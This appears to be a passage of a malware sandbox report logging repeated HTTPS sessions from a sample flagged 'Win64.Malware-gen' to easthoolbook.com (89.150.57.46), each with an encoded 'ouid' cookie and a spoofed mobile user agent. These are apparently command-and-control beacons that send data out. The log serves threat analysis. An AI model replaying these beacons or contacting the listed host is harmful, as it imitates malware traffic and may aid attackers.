2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49726	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:55 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:55 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:14 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:55 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49727	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:58 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:58 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:17 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:58 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49728	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:01 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:01 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:20 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:01 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49729	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:05 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:06 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:24 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:06 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49730	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:08 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:09 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:27 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:09 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49731	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:11 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:12 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:30 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:12 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49732	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:14 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:15 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:33 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:15 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49733	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:17 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:18 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:36 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:18 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49735	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:20 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:21 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:39 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:21 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49736	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:23 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:24 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:42 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:24 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49737	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:26 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:27 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:45 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
